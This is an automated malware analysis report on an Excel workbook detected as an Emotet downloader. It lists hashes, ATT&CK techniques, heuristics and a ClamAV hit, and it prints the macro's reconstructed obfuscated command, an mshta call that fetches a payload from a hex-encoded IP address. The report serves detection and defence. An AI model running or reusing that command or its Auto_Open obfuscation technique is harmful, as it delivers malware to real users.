Emotet Office (OLE) / .XLSX malware analysis — malicious · b57b7792f2d74379

MALICIOUS

Office (OLE) / .XLSX

128.6 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel

MD5: 0639b89705f8b9238f294e3f6c52474f SHA-1: c8f307d9bbde535b127c1a05f3428ab4a370f530 SHA-256: b57b7792f2d74379892499f9a23972aed0b7206a9041b5e3b0720b2a683c0d53

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical indicator. The macro is designed to execute a command-line instruction that downloads content from a URL. The reconstructed command is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l', which attempts to fetch a payload from 'http://0xc12a24f5/cc.html'. This behavior is consistent with Emotet's typical delivery mechanism of downloading and executing further stages.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	653 bytes

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